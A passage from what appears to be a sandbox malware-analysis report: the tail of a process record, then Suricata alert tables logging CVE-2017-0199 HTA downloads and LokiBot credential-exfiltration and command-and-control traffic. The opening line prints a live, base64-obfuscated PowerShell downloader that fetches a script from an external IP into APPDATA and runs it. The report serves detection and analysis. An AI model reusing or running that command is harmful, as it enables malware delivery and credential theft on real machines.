IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3836, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline", ProcessId: 4048, ProcessName: csc.exe

Suricata Signatures

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:52:55.762524+0100	2024197	1	A Network Trojan was detected	198.46.178.151	80	192.168.2.22	49162	TCP
2024-10-30T07:52:58.109413+0100	2024197	1	A Network Trojan was detected	198.46.178.151	80	192.168.2.22	49164	TCP

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:52:55.757026+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49162	198.46.178.151	80	TCP
2024-10-30T07:52:58.109395+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49164	198.46.178.151	80	TCP
2024-10-30T07:53:18.743229+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49171	198.46.178.151	80	TCP

ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:53:41.533689+0100	2024312	1	A Network Trojan was detected	192.168.2.22	49176	94.156.177.220	80	TCP
2024-10-30T07:53:42.777983+0100	2024312	1	A Network Trojan was detected	192.168.2.22	49177	94.156.177.220	80	TCP

ET MALWARE LokiBot Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:53:40.571720+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.220	80	TCP
2024-10-30T07:53:41.793799+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-30T07:53:42.884566+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:44.056556+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:45.417575+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:46.634814+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:48.536668+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:49.726273+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:50.884888+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:52.061620+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:53.184557+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:54.279646+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:55.512451+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:56.618452+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:57.725696+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:53:59.101107+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:54:00.206573+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:01.346182+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:02.497379+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:04.902816+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:06.016439+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:07.406668+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:08.745394+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:09.865003+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:11.029182+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:12.297226+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:13.413593+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:14.527346+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:15.621149+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-30T07:54:16.894512+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:18.011948+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:19.450764+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:20.968954+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:22.267449+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:23.906512+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:25.024863+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:26.262724+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:27.352626+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:28.450793+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:30.003997+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:31.512150+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:32.777147+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:33.910258+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:35.104496+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:36.241427+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:37.380092+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:38.504154+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:39.768035+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:41.819719+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:41.970510+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:43.092820+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:44.866333+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-30T07:54:45.965599+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:47.068516+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:48.492840+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:49.597654+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:50.712548+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:51.830442+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:53.132501+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:54.482154+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:55.615666+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:56.734017+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-30T07:54:58.050613+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-30T07:54:59.161756+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:55:00.387616+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:01.484369+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:02.605268+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:03.720869+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:05.005930+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:06.090491+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:07.898649+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:10.868307+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:12.567039+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-30T07:55:13.703023+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.220	80	TCP

ET MALWARE LokiBot Fake 404 Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:52:53.836549+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49250	TCP
2024-10-30T07:53:43.871517+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49178	TCP
2024-10-30T07:53:45.018620+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49179	TCP
2024-10-30T07:53:46.392390+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49180	TCP
2024-10-30T07:53:47.583065+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49181	TCP
2024-10-30T07:53:49.531767+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49182	TCP
2024-10-30T07:53:50.694273+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49183	TCP
2024-10-30T07:53:51.851632+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49184	TCP
2024-10-30T07:53:52.994621+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49185	TCP
2024-10-30T07:53:54.146098+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49186	TCP
2024-10-30T07:53:55.300459+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49188	TCP
2024-10-30T07:53:56.485448+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49189	TCP
2024-10-30T07:53:57.581918+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49190	TCP
2024-10-30T07:53:58.684171+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49191	TCP
2024-10-30T07:54:00.063465+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49192	TCP
2024-10-30T07:54:01.174131+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49193	TCP
2024-10-30T07:54:02.348696+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49194	TCP
2024-10-30T07:54:03.478716+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49195	TCP
2024-10-30T07:54:05.864650+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49196	TCP
2024-10-30T07:54:06.972939+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49197	TCP
2024-10-30T07:54:08.375209+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49198	TCP
2024-10-30T07:54:09.719513+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49199	TCP
2024-10-30T07:54:10.870547+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49200	TCP
2024-10-30T07:54:11.989306+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49201	TCP
2024-10-30T07:54:13.243832+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49202	TCP
2024-10-30T07:54:14.381178+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49203	TCP
2024-10-30T07:54:15.483988+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49204	TCP
2024-10-30T07:54:16.576967+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49205	TCP
2024-10-30T07:54:17.860537+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49206	TCP
2024-10-30T07:54:19.019429+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49207	TCP
2024-10-30T07:54:20.400716+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49208	TCP
2024-10-30T07:54:21.952432+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49209	TCP
2024-10-30T07:54:23.272205+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49210	TCP
2024-10-30T07:54:24.863594+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49211	TCP
2024-10-30T07:54:25.989592+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49212	TCP
2024-10-30T07:54:27.218033+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49213	TCP
2024-10-30T07:54:28.307250+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49214	TCP
2024-10-30T07:54:29.432406+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49215	TCP
2024-10-30T07:54:30.998235+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49216	TCP
2024-10-30T07:54:32.469592+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49217	TCP
2024-10-30T07:54:33.741488+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49218	TCP
2024-10-30T07:54:34.870291+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49219	TCP
2024-10-30T07:54:36.068361+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49220	TCP
2024-10-30T07:54:37.203749+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49221	TCP
2024-10-30T07:54:38.371974+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49222	TCP
2024-10-30T07:54:39.630870+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49223	TCP
2024-10-30T07:54:40.732114+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49224	TCP
2024-10-30T07:54:41.825536+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49225	TCP
2024-10-30T07:54:42.954129+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49226	TCP
2024-10-30T07:54:44.296798+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49227	TCP
2024-10-30T07:54:45.820988+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49228	TCP
2024-10-30T07:54:46.923091+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49229	TCP
2024-10-30T07:54:48.348794+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49230	TCP
2024-10-30T07:54:49.461630+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49231	TCP
2024-10-30T07:54:50.566831+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49232	TCP
2024-10-30T07:54:51.686328+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49233	TCP
2024-10-30T07:54:52.814650+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49234	TCP
2024-10-30T07:54:54.101987+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49235	TCP
2024-10-30T07:54:55.458410+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49236	TCP
2024-10-30T07:54:56.578488+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49237	TCP
2024-10-30T07:54:57.697327+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49238	TCP
2024-10-30T07:54:59.017604+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49239	TCP
2024-10-30T07:55:00.114566+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49240	TCP
2024-10-30T07:55:01.340390+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49241	TCP
2024-10-30T07:55:02.470656+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49242	TCP
2024-10-30T07:55:03.575276+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49243	TCP
2024-10-30T07:55:04.856206+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49244	TCP
2024-10-30T07:55:05.946228+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49245	TCP
2024-10-30T07:55:07.713172+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49246	TCP
2024-10-30T07:55:09.811348+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49247	TCP
2024-10-30T07:55:12.419470+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49248	TCP
2024-10-30T07:55:13.542407+0100	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49249	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:52:53.836549+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-30T07:53:43.865114+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:45.012542+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:46.386961+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:47.577321+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:49.526232+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:50.688405+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:51.846047+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:52.989036+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:54.140609+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:55.294228+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:56.479757+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:57.576318+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:58.678323+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:54:00.057819+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:54:01.168690+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:02.343133+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:03.472871+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:05.858768+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:06.964364+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:08.369666+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:09.713887+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:10.864890+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:11.983571+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:13.238037+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:14.375598+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:15.478401+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:16.571399+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-30T07:54:17.854785+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:19.013856+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:20.394945+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:21.946849+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:23.266496+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:24.857583+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:25.983435+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:27.211983+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:28.301473+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:29.421348+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:30.992521+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:32.463838+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:33.733981+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:34.864691+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:36.062787+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:37.198254+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:38.366247+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:39.625166+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:40.726653+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:41.819719+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:42.947069+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:44.296491+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:45.815255+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
